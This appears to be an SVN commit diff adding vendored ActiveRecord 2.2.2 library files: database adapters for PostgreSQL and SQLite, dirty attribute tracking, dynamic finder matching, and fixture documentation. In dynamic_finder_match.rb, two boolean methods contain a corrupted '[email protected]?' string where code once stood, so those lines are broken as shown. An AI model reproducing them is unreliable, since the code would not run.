+        # Return a DISTINCT ON() clause that's distinct on the columns we want but includes
+        # all the required columns for the ORDER BY to work properly.
+        sql = "DISTINCT ON (#{columns}) #{columns}, "
+        sql << order_columns * ', '
+      end
+      
+      # Returns an ORDER BY clause for the passed order option.
+      # 
+      # PostgreSQL does not allow arbitrary ordering when using DISTINCT ON, so we work around this
+      # by wrapping the +sql+ string as a sub-select and ordering in that query.
+      def add_order_by_for_association_limiting!(sql, options) #:nodoc:
+        return sql if options[:order].blank?
+        
+        order = options[:order].split(',').collect { |s| s.strip }.reject(&:blank?)
+        order.map! { |s| 'DESC' if s =~ /\bdesc$/i }
+        order = order.zip((0...order.size).to_a).map { |s,i| "id_list.alias_#{i} #{s}" }.join(', ')
+        
+        sql.replace "SELECT * FROM (#{sql}) AS id_list ORDER BY #{order}"
+      end
+
+      protected
+        # Returns the version of the connected PostgreSQL version.
+        def postgresql_version
+          @postgresql_version ||=
+            if @connection.respond_to?(:server_version)
+              @connection.server_version
+            else
+              # Mimic PGconn.server_version behavior
+              begin
+                query('SELECT version()')[0][0] =~ /PostgreSQL (\d+)\.(\d+)\.(\d+)/
+                ($1.to_i * 10000) + ($2.to_i * 100) + $3.to_i
+              rescue
+                0
+              end
+            end
+        end
+
+      private
+        # The internal PostgreSQL identifier of the money data type.
+        MONEY_COLUMN_TYPE_OID = 790 #:nodoc:
+
+        # Connects to a PostgreSQL server and sets up the adapter depending on the
+        # connected server's characteristics.
+        def connect
+          @connection = PGconn.connect(*@connection_parameters)
+          PGconn.translate_results = false if PGconn.respond_to?(:translate_results=)
+
+          # Ignore async_exec and async_query when using postgres-pr.
+          @async = @config[:allow_concurrency] && @connection.respond_to?(:async_exec)
+
+          # Use escape string syntax if available. We cannot do this lazily when encountering
+          # the first string, because that could then break any transactions in progress.
+          # See: http://www.postgresql.org/docs/current/static/runtime-config-compatible.html
+          # If PostgreSQL doesn't know the standard_conforming_strings parameter then it doesn't
+          # support escape string syntax. Don't override the inherited quoted_string_prefix.
+          if supports_standard_conforming_strings?
+            self.class.instance_eval do
+              define_method(:quoted_string_prefix) { 'E' }
+            end
+          end
+
+          # Money type has a fixed precision of 10 in PostgreSQL 8.2 and below, and as of
+          # PostgreSQL 8.3 it has a fixed precision of 19. PostgreSQLColumn.extract_precision
+          # should know about this but can't detect it there, so deal with it here.
+          money_precision = (postgresql_version >= 80300) ? 19 : 10
+          PostgreSQLColumn.module_eval(<<-end_eval)
+            def extract_precision(sql_type)
+              if sql_type =~ /^money$/
+                #{money_precision}
+              else
+                super
+              end
+            end
+          end_eval
+
+          configure_connection
+        end
+
+        # Configures the encoding, verbosity, and schema search path of the connection.
+        # This is called by #connect and should not be called manually.
+        def configure_connection
+          if @config[:encoding]
+            if @connection.respond_to?(:set_client_encoding)
+              @connection.set_client_encoding(@config[:encoding])
+            else
+              execute("SET client_encoding TO '#{@config[:encoding]}'")
+            end
+          end
+          self.client_min_messages = @config[:min_messages] if @config[:min_messages]
+          self.schema_search_path = @config[:schema_search_path] || @config[:schema_order]
+        end
+
+        # Returns the current ID of a table's sequence.
+        def last_insert_id(table, sequence_name) #:nodoc:
+          Integer(select_value("SELECT currval('#{sequence_name}')"))
+        end
+
+        # Executes a SELECT query and returns the results, performing any data type
+        # conversions that are required to be performed here instead of in PostgreSQLColumn.
+        def select(sql, name = nil)
+          fields, rows = select_raw(sql, name)
+          result = []
+          for row in rows
+            row_hash = {}
+            fields.each_with_index do |f, i|
+              row_hash[f] = row[i]
+            end
+            result << row_hash
+          end
+          result
+        end
+
+        def select_raw(sql, name = nil)
+          res = execute(sql, name)
+          results = result_as_array(res)
+          fields = []
+          rows = []
+          if res.ntuples > 0
+            fields = res.fields
+            results.each do |row|
+              hashed_row = {}
+              row.each_index do |cell_index|
+                # If this is a money type column and there are any currency symbols,
+                # then strip them off. Indeed it would be prettier to do this in
+                # PostgreSQLColumn.string_to_decimal but would break form input
+                # fields that call value_before_type_cast.
+                if res.ftype(cell_index) == MONEY_COLUMN_TYPE_OID
+                  # Because money output is formatted according to the locale, there are two
+                  # cases to consider (note the decimal separators):
+                  #  (1) $12,345,678.12        
+                  #  (2) $12.345.678,12
+                  case column = row[cell_index]
+                    when /^-?\D+[\d,]+\.\d{2}$/  # (1)
+                      row[cell_index] = column.gsub(/[^-\d\.]/, '')
+                    when /^-?\D+[\d\.]+,\d{2}$/  # (2)
+                      row[cell_index] = column.gsub(/[^-\d,]/, '').sub(/,/, '.')
+                  end
+                end
+
+                hashed_row[fields[cell_index]] = column
+              end
+              rows << row
+            end
+          end
+          res.clear
+          return fields, rows
+        end
+
+        # Returns the list of a table's column names, data types, and default values.
+        #
+        # The underlying query is roughly:
+        #  SELECT column.name, column.type, default.value
+        #    FROM column LEFT JOIN default
+        #      ON column.table_id = default.table_id
+        #     AND column.num = default.column_num
+        #   WHERE column.table_id = get_table_id('table_name')
+        #     AND column.num > 0
+        #     AND NOT column.is_dropped
+        #   ORDER BY column.num
+        #
+        # If the table name is not prefixed with a schema, the database will
+        # take the first match from the schema search path.
+        #
+        # Query implementation notes:
+        #  - format_type includes the column size constraint, e.g. varchar(50)
+        #  - ::regclass is a function that gives the id for a table name
+        def column_definitions(table_name) #:nodoc:
+          query <<-end_sql
+            SELECT a.attname, format_type(a.atttypid, a.atttypmod), d.adsrc, a.attnotnull
+              FROM pg_attribute a LEFT JOIN pg_attrdef d
+                ON a.attrelid = d.adrelid AND a.attnum = d.adnum
+             WHERE a.attrelid = '#{table_name}'::regclass
+               AND a.attnum > 0 AND NOT a.attisdropped
+             ORDER BY a.attnum
+          end_sql
+        end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/lib/active_record/connection_adapters/sqlite3_adapter.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/lib/active_record/connection_adapters/sqlite3_adapter.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/lib/active_record/connection_adapters/sqlite3_adapter.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,34 @@
+require 'active_record/connection_adapters/sqlite_adapter'
+
+module ActiveRecord
+  class Base
+    # sqlite3 adapter reuses sqlite_connection.
+    def self.sqlite3_connection(config) # :nodoc:
+      parse_sqlite_config!(config)
+
+      unless self.class.const_defined?(:SQLite3)
+        require_library_or_gem(config[:adapter])
+      end
+
+      db = SQLite3::Database.new(
+        config[:database],
+        :results_as_hash => true,
+        :type_translation => false
+      )
+
+      db.busy_timeout(config[:timeout]) unless config[:timeout].nil?
+
+      ConnectionAdapters::SQLite3Adapter.new(db, logger)
+    end
+  end
+
+  module ConnectionAdapters #:nodoc:
+    class SQLite3Adapter < SQLiteAdapter # :nodoc:
+      def table_structure(table_name)
+        returning structure = @connection.table_info(quote_table_name(table_name)) do
+          raise(ActiveRecord::StatementInvalid, "Could not find table '#{table_name}'") if structure.empty?
+        end
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/lib/active_record/connection_adapters/sqlite_adapter.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/lib/active_record/connection_adapters/sqlite_adapter.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/lib/active_record/connection_adapters/sqlite_adapter.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,418 @@
+require 'active_record/connection_adapters/abstract_adapter'
+
+module ActiveRecord
+  class Base
+    class << self
+      # Establishes a connection to the database that's used by all Active Record objects
+      def sqlite_connection(config) # :nodoc:
+        parse_sqlite_config!(config)
+
+        unless self.class.const_defined?(:SQLite)
+          require_library_or_gem(config[:adapter])
+
+          db = SQLite::Database.new(config[:database], 0)
+          db.show_datatypes   = "ON" if !defined? SQLite::Version
+          db.results_as_hash  = true if defined? SQLite::Version
+          db.type_translation = false
+
+          # "Downgrade" deprecated sqlite API
+          if SQLite.const_defined?(:Version)
+            ConnectionAdapters::SQLite2Adapter.new(db, logger)
+          else
+            ConnectionAdapters::DeprecatedSQLiteAdapter.new(db, logger)
+          end
+        end
+      end
+
+      private
+        def parse_sqlite_config!(config)
+          config[:database] ||= config[:dbfile]
+          # Require database.
+          unless config[:database]
+            raise ArgumentError, "No database file specified. Missing argument: database"
+          end
+
+          # Allow database path relative to RAILS_ROOT, but only if
+          # the database path is not the special path that tells
+          # Sqlite to build a database only in memory.
+          if Object.const_defined?(:RAILS_ROOT) && ':memory:' != config[:database]
+            config[:database] = File.expand_path(config[:database], RAILS_ROOT)
+          end
+        end
+    end
+  end
+
+  module ConnectionAdapters #:nodoc:
+    class SQLiteColumn < Column #:nodoc:
+      class <<  self
+        def string_to_binary(value)
+          value.gsub(/\0|\%/n) do |b|
+            case b
+              when "\0" then "%00"
+              when "%"  then "%25"
+            end
+          end
+        end
+
+        def binary_to_string(value)
+          value.gsub(/%00|%25/n) do |b|
+            case b
+              when "%00" then "\0"
+              when "%25" then "%"
+            end
+          end
+        end
+      end
+    end
+
+    # The SQLite adapter works with both the 2.x and 3.x series of SQLite with the sqlite-ruby drivers (available both as gems and
+    # from http://rubyforge.org/projects/sqlite-ruby/).
+    #
+    # Options:
+    #
+    # * <tt>:database</tt> - Path to the database file.
+    class SQLiteAdapter < AbstractAdapter
+      def adapter_name #:nodoc:
+        'SQLite'
+      end
+
+      def supports_migrations? #:nodoc:
+        true
+      end
+
+      def requires_reloading?
+        true
+      end
+ 
+      def disconnect!
+        super
+        @connection.close rescue nil
+      end
+
+      def supports_count_distinct? #:nodoc:
+        sqlite_version >= '3.2.6'
+      end
+
+      def supports_autoincrement? #:nodoc:
+        sqlite_version >= '3.1.0'
+      end
+
+      def native_database_types #:nodoc:
+        {
+          :primary_key => default_primary_key_type,
+          :string      => { :name => "varchar", :limit => 255 },
+          :text        => { :name => "text" },
+          :integer     => { :name => "integer" },
+          :float       => { :name => "float" },
+          :decimal     => { :name => "decimal" },
+          :datetime    => { :name => "datetime" },
+          :timestamp   => { :name => "datetime" },
+          :time        => { :name => "time" },
+          :date        => { :name => "date" },
+          :binary      => { :name => "blob" },
+          :boolean     => { :name => "boolean" }
+        }
+      end
+
+
+      # QUOTING ==================================================
+
+      def quote_string(s) #:nodoc:
+        @connection.class.quote(s)
+      end
+
+      def quote_column_name(name) #:nodoc:
+        %Q("#{name}")
+      end
+
+
+      # DATABASE STATEMENTS ======================================
+
+      def execute(sql, name = nil) #:nodoc:
+        catch_schema_changes { log(sql, name) { @connection.execute(sql) } }
+      end
+
+      def update_sql(sql, name = nil) #:nodoc:
+        super
+        @connection.changes
+      end
+
+      def delete_sql(sql, name = nil) #:nodoc:
+        sql += " WHERE 1=1" unless sql =~ /WHERE/i
+        super sql, name
+      end
+
+      def insert_sql(sql, name = nil, pk = nil, id_value = nil, sequence_name = nil) #:nodoc:
+        super || @connection.last_insert_row_id
+      end
+
+      def select_rows(sql, name = nil)
+        execute(sql, name).map do |row|
+          (0...(row.size / 2)).map { |i| row[i] }
+        end
+      end
+
+      def begin_db_transaction #:nodoc:
+        catch_schema_changes { @connection.transaction }
+      end
+
+      def commit_db_transaction #:nodoc:
+        catch_schema_changes { @connection.commit }
+      end
+
+      def rollback_db_transaction #:nodoc:
+        catch_schema_changes { @connection.rollback }
+      end
+
+
+      # SELECT ... FOR UPDATE is redundant since the table is locked.
+      def add_lock!(sql, options) #:nodoc:
+        sql
+      end
+
+
+      # SCHEMA STATEMENTS ========================================
+
+      def tables(name = nil) #:nodoc:
+        sql = <<-SQL
+          SELECT name
+          FROM sqlite_master
+          WHERE type = 'table' AND NOT name = 'sqlite_sequence'
+        SQL
+
+        execute(sql, name).map do |row|
+          row[0]
+        end
+      end
+
+      def columns(table_name, name = nil) #:nodoc:
+        table_structure(table_name).map do |field|
+          SQLiteColumn.new(field['name'], field['dflt_value'], field['type'], field['notnull'] == "0")
+        end
+      end
+
+      def indexes(table_name, name = nil) #:nodoc:
+        execute("PRAGMA index_list(#{quote_table_name(table_name)})", name).map do |row|
+          index = IndexDefinition.new(table_name, row['name'])
+          index.unique = row['unique'] != '0'
+          index.columns = execute("PRAGMA index_info('#{index.name}')").map { |col| col['name'] }
+          index
+        end
+      end
+
+      def primary_key(table_name) #:nodoc:
+        column = table_structure(table_name).find {|field| field['pk'].to_i == 1}
+        column ? column['name'] : nil
+      end
+
+      def remove_index(table_name, options={}) #:nodoc:
+        execute "DROP INDEX #{quote_column_name(index_name(table_name, options))}"
+      end
+
+      def rename_table(name, new_name)
+        execute "ALTER TABLE #{name} RENAME TO #{new_name}"
+      end
+
+      def add_column(table_name, column_name, type, options = {}) #:nodoc:
+        if @connection.respond_to?(:transaction_active?) && @connection.transaction_active?
+          raise StatementInvalid, 'Cannot add columns to a SQLite database while inside a transaction'
+        end
+        
+        super(table_name, column_name, type, options)
+        # See last paragraph on http://www.sqlite.org/lang_altertable.html
+        execute "VACUUM"
+      end
+
+      def remove_column(table_name, *column_names) #:nodoc:
+        column_names.flatten.each do |column_name|
+          alter_table(table_name) do |definition|
+            definition.columns.delete(definition[column_name])
+          end
+        end
+      end
+      alias :remove_columns :remove_column
+
+      def change_column_default(table_name, column_name, default) #:nodoc:
+        alter_table(table_name) do |definition|
+          definition[column_name].default = default
+        end
+      end
+
+      def change_column_null(table_name, column_name, null, default = nil)
+        unless null || default.nil?
+          execute("UPDATE #{quote_table_name(table_name)} SET #{quote_column_name(column_name)}=#{quote(default)} WHERE #{quote_column_name(column_name)} IS NULL")
+        end
+        alter_table(table_name) do |definition|
+          definition[column_name].null = null
+        end
+      end
+
+      def change_column(table_name, column_name, type, options = {}) #:nodoc:
+        alter_table(table_name) do |definition|
+          include_default = options_include_default?(options)
+          definition[column_name].instance_eval do
+            self.type    = type
+            self.limit   = options[:limit] if options.include?(:limit)
+            self.default = options[:default] if include_default
+            self.null    = options[:null] if options.include?(:null)
+          end
+        end
+      end
+
+      def rename_column(table_name, column_name, new_column_name) #:nodoc:
+        unless columns(table_name).detect{|c| c.name == column_name.to_s }
+          raise ActiveRecord::ActiveRecordError, "Missing column #{table_name}.#{column_name}"
+        end
+        alter_table(table_name, :rename => {column_name.to_s => new_column_name.to_s})
+      end
+
+      def empty_insert_statement(table_name)
+        "INSERT INTO #{table_name} VALUES(NULL)"
+      end
+
+      protected
+        def select(sql, name = nil) #:nodoc:
+          execute(sql, name).map do |row|
+            record = {}
+            row.each_key do |key|
+              if key.is_a?(String)
+                record[key.sub(/^"?\w+"?\./, '')] = row[key]
+              end
+            end
+            record
+          end
+        end
+
+        def table_structure(table_name)
+          returning structure = execute("PRAGMA table_info(#{quote_table_name(table_name)})") do
+            raise(ActiveRecord::StatementInvalid, "Could not find table '#{table_name}'") if structure.empty?
+          end
+        end
+
+        def alter_table(table_name, options = {}) #:nodoc:
+          altered_table_name = "altered_#{table_name}"
+          caller = lambda {|definition| yield definition if block_given?}
+
+          transaction do
+            move_table(table_name, altered_table_name,
+              options.merge(:temporary => true))
+            move_table(altered_table_name, table_name, &caller)
+          end
+        end
+
+        def move_table(from, to, options = {}, &block) #:nodoc:
+          copy_table(from, to, options, &block)
+          drop_table(from)
+        end
+
+        def copy_table(from, to, options = {}) #:nodoc:
+          options = options.merge(:id => !columns(from).detect{|c| c.name == 'id'}.nil?)
+          create_table(to, options) do |definition|
+            @definition = definition
+            columns(from).each do |column|
+              column_name = options[:rename] ?
+                (options[:rename][column.name] ||
+                 options[:rename][column.name.to_sym] ||
+                 column.name) : column.name
+              
+              @definition.column(column_name, column.type,
+                :limit => column.limit, :default => column.default,
+                :null => column.null)
+            end
+            @definition.primary_key(primary_key(from)) if primary_key(from)
+            yield @definition if block_given?
+          end
+
+          copy_table_indexes(from, to, options[:rename] || {})
+          copy_table_contents(from, to,
+            @definition.columns.map {|column| column.name},
+            options[:rename] || {})
+        end
+
+        def copy_table_indexes(from, to, rename = {}) #:nodoc:
+          indexes(from).each do |index|
+            name = index.name
+            if to == "altered_#{from}"
+              name = "temp_#{name}"
+            elsif from == "altered_#{to}"
+              name = name[5..-1]
+            end
+
+            to_column_names = columns(to).map(&:name)
+            columns = index.columns.map {|c| rename[c] || c }.select do |column|
+              to_column_names.include?(column)
+            end
+
+            unless columns.empty?
+              # index name can't be the same
+              opts = { :name => name.gsub(/_(#{from})_/, "_#{to}_") }
+              opts[:unique] = true if index.unique
+              add_index(to, columns, opts)
+            end
+          end
+        end
+
+        def copy_table_contents(from, to, columns, rename = {}) #:nodoc:
+          column_mappings = Hash[*columns.map {|name| [name, name]}.flatten]
+          rename.inject(column_mappings) {|map, a| map[a.last] = a.first; map}
+          from_columns = columns(from).collect {|col| col.name}
+          columns = columns.find_all{|col| from_columns.include?(column_mappings[col])}
+          quoted_columns = columns.map { |col| quote_column_name(col) } * ','
+
+          quoted_to = quote_table_name(to)
+          @connection.execute "SELECT * FROM #{quote_table_name(from)}" do |row|
+            sql = "INSERT INTO #{quoted_to} (#{quoted_columns}) VALUES ("
+            sql << columns.map {|col| quote row[column_mappings[col]]} * ', '
+            sql << ')'
+            @connection.execute sql
+          end
+        end
+
+        def catch_schema_changes
+          return yield
+        rescue ActiveRecord::StatementInvalid => exception
+          if exception.message =~ /database schema has changed/
+            reconnect!
+            retry
+          else
+            raise
+          end
+        end
+
+        def sqlite_version
+          @sqlite_version ||= select_value('select sqlite_version(*)')
+        end
+
+        def default_primary_key_type
+          if supports_autoincrement?
+            'INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL'.freeze
+          else
+            'INTEGER PRIMARY KEY NOT NULL'.freeze
+          end
+        end
+    end
+
+    class SQLite2Adapter < SQLiteAdapter # :nodoc:
+      def supports_count_distinct? #:nodoc:
+        false
+      end
+
+      def rename_table(name, new_name)
+        move_table(name, new_name)
+      end
+
+      def add_column(table_name, column_name, type, options = {}) #:nodoc:
+        alter_table(table_name) do |definition|
+          definition.column(column_name, type, options)
+        end
+      end
+    end
+
+    class DeprecatedSQLiteAdapter < SQLite2Adapter # :nodoc:
+      def insert(sql, name = nil, pk = nil, id_value = nil)
+        execute(sql, name = nil)
+        id_value || @connection.last_insert_rowid
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/lib/active_record/dirty.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/lib/active_record/dirty.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/lib/active_record/dirty.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,183 @@
+module ActiveRecord
+  # Track unsaved attribute changes.
+  #
+  # A newly instantiated object is unchanged:
+  #   person = Person.find_by_name('uncle bob')
+  #   person.changed?       # => false
+  #
+  # Change the name:
+  #   person.name = 'Bob'
+  #   person.changed?       # => true
+  #   person.name_changed?  # => true
+  #   person.name_was       # => 'uncle bob'
+  #   person.name_change    # => ['uncle bob', 'Bob']
+  #   person.name = 'Bill'
+  #   person.name_change    # => ['uncle bob', 'Bill']
+  #
+  # Save the changes:
+  #   person.save
+  #   person.changed?       # => false
+  #   person.name_changed?  # => false
+  #
+  # Assigning the same value leaves the attribute unchanged:
+  #   person.name = 'Bill'
+  #   person.name_changed?  # => false
+  #   person.name_change    # => nil
+  #
+  # Which attributes have changed?
+  #   person.name = 'bob'
+  #   person.changed        # => ['name']
+  #   person.changes        # => { 'name' => ['Bill', 'bob'] }
+  #
+  # Before modifying an attribute in-place:
+  #   person.name_will_change!
+  #   person.name << 'by'
+  #   person.name_change    # => ['uncle bob', 'uncle bobby']
+  module Dirty
+    DIRTY_SUFFIXES = ['_changed?', '_change', '_will_change!', '_was']
+
+    def self.included(base)
+      base.attribute_method_suffix *DIRTY_SUFFIXES
+      base.alias_method_chain :write_attribute, :dirty
+      base.alias_method_chain :save,            :dirty
+      base.alias_method_chain :save!,           :dirty
+      base.alias_method_chain :update,          :dirty
+      base.alias_method_chain :reload,          :dirty
+
+      base.superclass_delegating_accessor :partial_updates
+      base.partial_updates = true
+
+      base.send(:extend, ClassMethods)
+    end
+
+    # Do any attributes have unsaved changes?
+    #   person.changed? # => false
+    #   person.name = 'bob'
+    #   person.changed? # => true
+    def changed?
+      !changed_attributes.empty?
+    end
+
+    # List of attributes with unsaved changes.
+    #   person.changed # => []
+    #   person.name = 'bob'
+    #   person.changed # => ['name']
+    def changed
+      changed_attributes.keys
+    end
+
+    # Map of changed attrs => [original value, new value].
+    #   person.changes # => {}
+    #   person.name = 'bob'
+    #   person.changes # => { 'name' => ['bill', 'bob'] }
+    def changes
+      changed.inject({}) { |h, attr| h[attr] = attribute_change(attr); h }
+    end
+
+    # Attempts to +save+ the record and clears changed attributes if successful.
+    def save_with_dirty(*args) #:nodoc:
+      if status = save_without_dirty(*args)
+        changed_attributes.clear
+      end
+      status
+    end
+
+    # Attempts to <tt>save!</tt> the record and clears changed attributes if successful.
+    def save_with_dirty!(*args) #:nodoc:
+      status = save_without_dirty!(*args)
+      changed_attributes.clear
+      status
+    end
+
+    # <tt>reload</tt> the record and clears changed attributes.
+    def reload_with_dirty(*args) #:nodoc:
+      record = reload_without_dirty(*args)
+      changed_attributes.clear
+      record
+    end
+
+    private
+      # Map of change <tt>attr => original value</tt>.
+      def changed_attributes
+        @changed_attributes ||= {}
+      end
+
+      # Handle <tt>*_changed?</tt> for +method_missing+.
+      def attribute_changed?(attr)
+        changed_attributes.include?(attr)
+      end
+
+      # Handle <tt>*_change</tt> for +method_missing+.
+      def attribute_change(attr)
+        [changed_attributes[attr], __send__(attr)] if attribute_changed?(attr)
+      end
+
+      # Handle <tt>*_was</tt> for +method_missing+.
+      def attribute_was(attr)
+        attribute_changed?(attr) ? changed_attributes[attr] : __send__(attr)
+      end
+
+      # Handle <tt>*_will_change!</tt> for +method_missing+.
+      def attribute_will_change!(attr)
+        changed_attributes[attr] = clone_attribute_value(:read_attribute, attr)
+      end
+
+      # Wrap write_attribute to remember original attribute value.
+      def write_attribute_with_dirty(attr, value)
+        attr = attr.to_s
+
+        # The attribute already has an unsaved change.
+        if changed_attributes.include?(attr)
+          old = changed_attributes[attr]
+          changed_attributes.delete(attr) unless field_changed?(attr, old, value)
+        else
+          old = clone_attribute_value(:read_attribute, attr)
+          changed_attributes[attr] = old if field_changed?(attr, old, value)
+        end
+
+        # Carry on.
+        write_attribute_without_dirty(attr, value)
+      end
+
+      def update_with_dirty
+        if partial_updates?
+          # Serialized attributes should always be written in case they've been
+          # changed in place.
+          update_without_dirty(changed | self.class.serialized_attributes.keys)
+        else
+          update_without_dirty
+        end
+      end
+
+      def field_changed?(attr, old, value)
+        if column = column_for_attribute(attr)
+          if column.type == :integer && column.null && (old.nil? || old == 0)
+            # For nullable integer columns, NULL gets stored in database for blank (i.e. '') values.
+            # Hence we don't record it as a change if the value changes from nil to ''.
+            # If an old value of 0 is set to '' we want this to get changed to nil as otherwise it'll
+            # be typecast back to 0 (''.to_i => 0)
+            value = nil if value.blank?
+          else
+            value = column.type_cast(value)
+          end
+        end
+
+        old != value
+      end
+
+    module ClassMethods
+      def self.extended(base)
+        base.metaclass.alias_method_chain(:alias_attribute, :dirty)
+      end
+
+      def alias_attribute_with_dirty(new_name, old_name)
+        alias_attribute_without_dirty(new_name, old_name)
+        DIRTY_SUFFIXES.each do |suffix|
+          module_eval <<-STR, __FILE__, __LINE__+1
+            def #{new_name}#{suffix}; self.#{old_name}#{suffix}; end
+          STR
+        end
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/lib/active_record/dynamic_finder_match.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/lib/active_record/dynamic_finder_match.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/lib/active_record/dynamic_finder_match.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,41 @@
+module ActiveRecord
+  class DynamicFinderMatch
+    def self.match(method)
+      df_match = self.new(method)
+      df_match.finder ? df_match : nil
+    end
+
+    def initialize(method)
+      @finder = :first
+      case method.to_s
+      when /^find_(all_by|last_by|by)_([_a-zA-Z]\w*)$/
+        @finder = :last if $1 == 'last_by'
+        @finder = :all if $1 == 'all_by'
+        names = $2
+      when /^find_by_([_a-zA-Z]\w*)\!$/
+        @bang = true
+        names = $1
+      when /^find_or_(initialize|create)_by_([_a-zA-Z]\w*)$/
+        @instantiator = $1 == 'initialize' ? :new : :create
+        names = $2
+      else
+        @finder = nil
+      end
+      @attribute_names = names && names.split('_and_')
+    end
+
+    attr_reader :finder, :attribute_names, :instantiator
+
+    def finder?
+      [email protected]? && @instantiator.nil?
+    end
+
+    def instantiator?
+      @finder == :first && [email protected]?
+    end
+
+    def bang?
+      @bang
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/lib/active_record/fixtures.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/lib/active_record/fixtures.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/lib/active_record/fixtures.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,998 @@
+require 'erb'
+require 'yaml'
+require 'csv'
+require 'active_support/test_case'
+
+if RUBY_VERSION < '1.9'
+  module YAML #:nodoc:
+    class Omap #:nodoc:
+      def keys;   map { |k, v| k } end
+      def values; map { |k, v| v } end
+    end
+  end
+end
+
+if defined? ActiveRecord
+  class FixtureClassNotFound < ActiveRecord::ActiveRecordError #:nodoc:
+  end
+else
+  class FixtureClassNotFound < StandardError #:nodoc:
+  end
+end
+
+# Fixtures are a way of organizing data that you want to test against; in short, sample data. They come in 3 flavors:
+#
+#   1.  YAML fixtures
+#   2.  CSV fixtures
+#   3.  Single-file fixtures
+#
+# = YAML fixtures
+#
+# This type of fixture is in YAML format and the preferred default. YAML is a file format which describes data structures
+# in a non-verbose, human-readable format. It ships with Ruby 1.8.1+.
+#
+# Unlike single-file fixtures, YAML fixtures are stored in a single file per model, which are placed in the directory appointed
+# by <tt>ActiveSupport::TestCase.fixture_path=(path)</tt> (this is automatically configured for Rails, so you can just
+# put your files in <tt><your-rails-app>/test/fixtures/</tt>). The fixture file ends with the <tt>.yml</tt> file extension (Rails example:
+# <tt><your-rails-app>/test/fixtures/web_sites.yml</tt>). The format of a YAML fixture file looks like this:
+#
+#   rubyonrails:
+#     id: 1
+#     name: Ruby on Rails
+#     url: http://www.rubyonrails.org
+#
+#   google:
+#     id: 2
+#     name: Google
+#     url: http://www.google.com
+#
+# This YAML fixture file includes two fixtures.  Each YAML fixture (ie. record) is given a name and is followed by an
+# indented list of key/value pairs in the "key: value" format.  Records are separated by a blank line for your viewing
+# pleasure.
+#
+# Note that YAML fixtures are unordered. If you want ordered fixtures, use the omap YAML type.  See http://yaml.org/type/omap.html
+# for the specification.  You will need ordered fixtures when you have foreign key constraints on keys in the same table.
+# This is commonly needed for tree structures.  Example:
+#
+#    --- !omap
+#    - parent:
+#        id:         1
+#        parent_id:  NULL
+#        title:      Parent
+#    - child:
+#        id:         2
+#        parent_id:  1
+#        title:      Child
+#
+# = CSV fixtures
+#
+# Fixtures can also be kept in the Comma Separated Value format. Akin to YAML fixtures, CSV fixtures are stored
+# in a single file, but instead end with the <tt>.csv</tt> file extension
+# (Rails example: <tt><your-rails-app>/test/fixtures/web_sites.csv</tt>).
+#
+# The format of this type of fixture file is much more compact than the others, but also a little harder to read by us
+# humans.  The first line of the CSV file is a comma-separated list of field names.  The rest of the file is then comprised
+# of the actual data (1 per line).  Here's an example:
+#
+#   id, name, url
+#   1, Ruby On Rails, http://www.rubyonrails.org
+#   2, Google, http://www.google.com
+#
+# Should you have a piece of data with a comma character in it, you can place double quotes around that value.  If you
+# need to use a double quote character, you must escape it with another double quote.
+#
+# Another unique attribute of the CSV fixture is that it has *no* fixture name like the other two formats.  Instead, the
+# fixture names are automatically generated by deriving the class name of the fixture file and adding an incrementing
+# number to the end.  In our example, the 1st fixture would be called "web_site_1" and the 2nd one would be called
+# "web_site_2".
+#
+# Most databases and spreadsheets support exporting to CSV format, so this is a great format for you to choose if you
+# have existing data somewhere already.
+#
+# = Single-file fixtures
+#
+# This type of fixture was the original format for Active Record that has since been deprecated in favor of the YAML and CSV formats.
+# Fixtures for this format are created by placing text files in a sub-directory (with the name of the model) to the directory
+# appointed by <tt>ActiveSupport::TestCase.fixture_path=(path)</tt> (this is automatically configured for Rails, so you can just
+# put your files in <tt><your-rails-app>/test/fixtures/<your-model-name>/</tt> --
+# like <tt><your-rails-app>/test/fixtures/web_sites/</tt> for the WebSite model).
+#
+# Each text file placed in this directory represents a "record".  Usually these types of fixtures are named without
+# extensions, but if you are on a Windows machine, you might consider adding <tt>.txt</tt> as the extension.  Here's what the
+# above example might look like:
+#
+#   web_sites/google
+#   web_sites/yahoo.txt
+#   web_sites/ruby-on-rails
+#
+# The file format of a standard fixture is simple.  Each line is a property (or column in db speak) and has the syntax
+# of "name => value".  Here's an example of the ruby-on-rails fixture above:
+#
+#   id => 1
+#   name => Ruby on Rails
+#   url => http://www.rubyonrails.org
+#
+# = Using Fixtures
+#
+# Since fixtures are a testing construct, we use them in our unit and functional tests.  There are two ways to use the
+# fixtures, but first let's take a look at a sample unit test:
+#
+#   require 'web_site'
+#
+#   class WebSiteTest < ActiveSupport::TestCase
+#     def test_web_site_count
